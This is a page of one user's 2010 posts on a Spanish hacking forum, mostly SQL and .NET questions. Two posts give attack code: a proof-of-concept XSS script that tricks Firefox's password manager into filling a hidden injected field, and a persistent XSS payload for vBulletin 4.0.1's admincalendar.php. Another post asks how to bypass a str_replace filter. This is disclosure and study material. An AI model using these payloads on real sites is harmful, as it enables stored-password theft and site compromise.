elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Temas
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24
211  Seguridad Informática / Nivel Web / Robando claves por XSS del Administrador de Contraseñas del Firefox en: 16 Marzo 2010, 23:16 pm
Robando claves por XSS del Administrador de Contraseñas del Firefox

Gracias a un mensaje de Tom Brennan, me entero de un problema en el Administrador de Contraseñas del Mozilla Firefox, que permite a un atacante mediante XSS (Cross-site scripting) obtener la clave de un usuario almacenada en el navegador.



El problema se encuentra en que el administrador de contraseñas del Mozilla Firefox , no valida adecuadamente el formulario desde el cual se guarda la clave en el administrador de contraseñas, por lo tanto si a la pagina donde se encuentra el formulario de logueo se le puede realizar un XSS es posible agregar un formulario con un campo oculto del tipo “password” y al acceder a ella, firefox no solo llenara el formulario real de acceso automáticamente, sino también el formulario oculto que acabamos de inyectar.



Si le echamos un vistoso al formulario utilizando el plugin Web Developer para el Mozilla Firefox, encontramos que efectivamente el Administrador de Contraseñas, nos llenó el formulario oculto que colocamos en la pagina mediante XSS con nuestra clave de acceso:



El código utilizado para robar la información del Administrador de contraseñas en el Mozilla Firefox:

Código
  1. <script>
  2.   document.write('<form><input id=p type=password style=visibility:hidden></form>');
  3.   setTimeout('alert("Password: " + document.getElementById("p").value)', 100);
  4. </script>

Podemos modificar el formulario para que nos envié la contraseña capturada a un archivo en el que puede ser almacenada o enviada por correo electrónico, pero en esta prueba de concepto no lo realizaremos.

En este caso contar con “clave maestra” en el administrador de contraseñas del Mozilla Firefox no supone una “barrera” para que obtengan nuestras claves, ya que una vez ingresada la clave maestra, el Firefox llenara de todas formas el formulario con nuestra clave.

Aunque posiblemente una técnica similar pueda funcionar en otros navegadores, he realizado pruebas en Google Chrome, Safari y Opera siendo el Mozilla Firefox el único afectado.

PoC: http://www.oftedal.no/~erlend/test/

Fuente: :http://www.dragonjar.org/robando-claves-por-xss-del-administrador-de-contrasenas-del-firefox.xhtml
212  Seguridad Informática / Nivel Web / Como bypassear función str_replace()? en: 10 Marzo 2010, 06:51 am
Supongamos que tenemos esta función:
Código
  1. <?php
  2.  function replace_sh($strTexto){
  3.    echo str_replace(">","[No]",str_replace("<","[No]",$strTexto));//Resultado
  4.  }//End Function
  5. ?>

Ingresaria algo como esto...
Código:
<h1>Shell Root</h1>

El resultado seria esto:
Código:
[No]h1[No]Shell Root[No]/h1[No]

Como Fuck, se puede bypassear esa función, es una duda que tengo desde hace raton, y le pregunte a Tomi, y no me entendio... xD
213  Seguridad Informática / Nivel Web / XSS vBulletin 4.0.1 [admincalendar.php] en: 6 Marzo 2010, 08:11 am
XSS vBulletin 4.0.1

By: Shell Root


Dentro del archivo admincalendar.php de la linea 170 a la 192, se realiza una inserción a la base de datos.
Código
  1. $db->query_write("
  2. INSERT INTO " . TABLE_PREFIX . "calendarcustomfield
  3. (
  4. calendarid,
  5. title,
  6. options,
  7. allowentry,
  8. required,
  9. length,
  10. description
  11. )
  12. VALUES
  13. (" .
  14. $vbulletin->GPC['calendarid'] .", '" .
  15. $db->escape_string($vbulletin->GPC['title']) . "', '" .
  16. $db->escape_string($vbulletin->GPC['options']) . "', " .
  17. $vbulletin->GPC['allowentry'] . ", " .
  18. $vbulletin->GPC['required'] . ", " .
  19. $vbulletin->GPC['length'] . ", '" .
  20. $db->escape_string($vbulletin->GPC['description']) . "'
  21. )
  22. ");
  23. }

Al mirar detenidamente, se vé la función escape_string y me pregunte y de hecho postee aquí, de que se trataba esa función, ya que no es una función propia del PHP. Me dí a la busqueda de dicha función y se encontraba dentro del archivo includes/class_core.php, desde la linea 717 hasta 727.
Código
  1. function escape_string($string)
  2. {
  3. if ($this->functions['escape_string'] == $this->functions['real_escape_string'])
  4. {
  5. return $this->functions['escape_string']($string, $this->connection_master);
  6. }
  7. else
  8. {
  9. return $this->functions['escape_string']($string);
  10. }
  11. }
Esta función lo que hace es evitar caracteres especiales dentro de una sentencia SQL (Como bien me lo dijo Nakp).

Ahora que pasa si no ingresamos caracteres especiales para afectar una sentencia SQL sino algo como esto <script>alert(/XSS/)</script>, os dejara pasar y se convertirá en un XSS Persistente!. Miremos...

Dentro del archivo admincalendar.php, tenemos la oportunidad de modificar un calendario y si miramos el codigo fuente, obtenemos esto: (Solo la parte que os interesa)
Código
  1. <input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value="" size="35" dir="ltr" tabindex="1" type="text">

Podemos realizar esto para bypassear el input:
Código
  1. "><script>alert(/XSS/)</script>

A lo que al llamarlo quedará así, provocando un XSS Persistente:
Código
  1. <input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value=""><script>alert(/XSS/)</script>" size="35" dir="ltr" tabindex="1" type="text">

NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador
214  Programación / PHP / escape_string es una funcion propia de PHP? en: 6 Marzo 2010, 07:08 am
Bueno, mirando el code de vBulletin 4.0.1, pude sacarle 2 XSS en menos de 10 min, tratando de mirar el code, me encuentro una función escape_string. Pero WTF! no creo que sea una funcion propia del PHP o si?
215  Programación / Bases de Datos / [Solucionado] Duda Resultado SQL en: 5 Marzo 2010, 21:25 pm
xD, pasa algo muy raro, o soy muy idiota para ver el error! Tengo esta consulta!
Código
  1. SELECT [intID], [intIDFormato]
  2.  FROM [tblMaterial]
  3.  WHERE (intIDFormato = 1) AND (bitEstado= 'True') -- Aqui son condiciones obligatorias
  4.  AND (strTitulo LIKE '%') OR (intIDAutor = '') OR (intIDArea = '')

Al momento de ejecutarlo. Me trae registros de otro Formato! Why! si tengo en las primeras condiciones que el formato sea igual a 1? WTF!

Ejemplo:
Código
  1. SELECT [intID], [intIDFormato]
  2.  FROM [tblMaterial]
  3.  WHERE (intIDFormato = 1) AND (bitEstado= 'True') -- Aqui son condiciones obligatorias
  4.  AND (strTitulo LIKE '%') OR (intIDAutor = '1') OR (intIDArea = '')
El resultado es:
Código:
intID	intIDFormato
2 4
WTF!
216  Programación / Bases de Datos / [Solucionado] Resultado de Cursores‮ en: 28 Febrero 2010, 22:15 pm
Tengo este cursor, el cual debe de devolver como resultado lo siguiente
Código:
2
10

Pero me devuelve
Código:
10
10

El codigo es esté
Código
  1.  
  2. --Variables de recepcion de datos
  3. DECLARE @intIDSanciones INT
  4.  
  5. --Declaración del Cursor
  6. DECLARE curSanciones CURSOR FOR SELECT intID FROM dbo.tblSanciones WHERE (bitEstado = 'True') AND (dateFechaLimite = CONVERT(VARCHAR(10),DATEADD(DAY,-1,GETDATE()),101))
  7. OPEN curSanciones
  8.  
  9. FETCH NEXT FROM curSanciones INTO @intIDSanciones
  10.  
  11. WHILE (@@FETCH_STATUS = 0)
  12. BEGIN
  13. FETCH NEXT FROM curSanciones INTO @intIDSanciones
  14. BEGIN TRANSACTION Acciones
  15. -- Mostrar Sanciones
  16. PRINT @intIDSanciones
  17. -- Fin Mostrar Sanciones
  18. COMMIT TRANSACTION Acciones
  19. END
  20. CLOSE curSanciones
  21. DEALLOCATE curSanciones




Solucionado
Código
  1. --Variables de recepcion de datos
  2. DECLARE @intIDSanciones INT
  3.  
  4. --Declaración del Cursor
  5. DECLARE curSanciones CURSOR FOR SELECT intID FROM tblSanciones WHERE (bitEstado = 'True') AND (dateFechaLimite = CONVERT(VARCHAR(10),DATEADD(DAY,-1,GETDATE()),101))
  6. OPEN curSanciones
  7.  
  8. FETCH NEXT FROM curSanciones INTO @intIDSanciones
  9.  
  10. WHILE (@@FETCH_STATUS = 0)
  11. BEGIN
  12. --BEGIN TRANSACTION Acciones
  13. -- Mostrar Sanciones
  14. SELECT @intIDSanciones
  15. FETCH NEXT FROM curSanciones INTO @intIDSanciones
  16. -- Fin Mostrar Sanciones
  17. --COMMIT TRANSACTION Acciones
  18. END
  19. CLOSE curSanciones
  20. DEALLOCATE curSanciones
217  Programación / Bases de Datos / Datos del Sistema con MySQL en: 28 Febrero 2010, 01:05 am
Bueno, estuve pensando y quiero realizar algo, que será un secreto hasta la muerte, pero quiero saber si es posible saber donde esta ubicado la carpeta del phpmyadmin, es decir, donde esta instalado esa carpetá, ya que desde allí, miro las bases de datos que existen. Algunas consulta SQL, para saber donde esta situada la base de datos o la carpeta del phpmyadmin
218  Programación / Bases de Datos / Recuperar valor de consulta SQL en: 27 Febrero 2010, 06:29 am
Bueno, en vista de que retome mi profesion de Desarrollador de Software, cosa que no retomaba desde hace más de 4 ó 5 meses, se me olvido realizar esto en SQL.

Supongamos que tenemos esta consulta.
Código
  1. SELECT COUNT(intIDUsuario) FROM dbo.tblReservas WHERE (intIDUsuario = '1') AND (Estado = 'Activo')

Ahora quiero que en una variable dentro del SQL, recuperar el valor que dá el resultado de la consulta anterior. Tengo que usar Cursores?
219  Programación / .NET (C#, VB.NET, ASP) / [Aspx.NET] Resultado consulta SQL en: 26 Febrero 2010, 03:22 am
Bueno, tengo una pregunta, que hace rato me anda rondando en la cabeza. Miren, supongamos que tenemos una consulta así:
Código
  1. SELECT [strIdentificacion], [strNombre], [strApellido]
  2.  FROM [Knowledge].[dbo].[tblUsuario]

Ahora cuales son las posibles opciones para ejecutar y recuperar el resultado de la consulta dentro de Aspx.NET

Opción 1:
Código
  1. strCmd = New SqlCommand(strSql, strcnn)
  2.  
  3. strDr = strCmd.ExecuteReader
  4. If strSqlDataReader.Read Then
  5.   txtIdentificacion.Text = strSqlDataReader("strIdentificacion").ToString()
  6.   txtNombre.Text = strSqlDataReader("strNombre").ToString()
  7.   txtApellido.Text = strSqlDataReader("strApellido").ToString()
  8. End If
220  Programación / .NET (C#, VB.NET, ASP) / Introducing .NET 4.0 With Visual Studio 2010 en: 11 Febrero 2010, 18:05 pm
Introducing .NET 4.0 With Visual Studio 2010


Author: Alex Mackey / Published: Feb 2010 / Size: 15.05MB

Download: http://d3.myfreefilehosting.com/d1/Apress.Introducing.dot.NET.4.0.with.Visual.Studio.2010.Feb.2010.pdf

Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines